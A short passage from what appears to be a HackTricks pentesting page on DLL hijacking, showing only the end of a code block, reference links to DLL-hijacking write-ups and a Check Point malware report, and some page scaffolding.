|
|
||||||
}
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
## Reference
|
|
||||||
|
|
||||||
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
|
||||||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
|
Loading…
x
Reference in New Issue
Block a user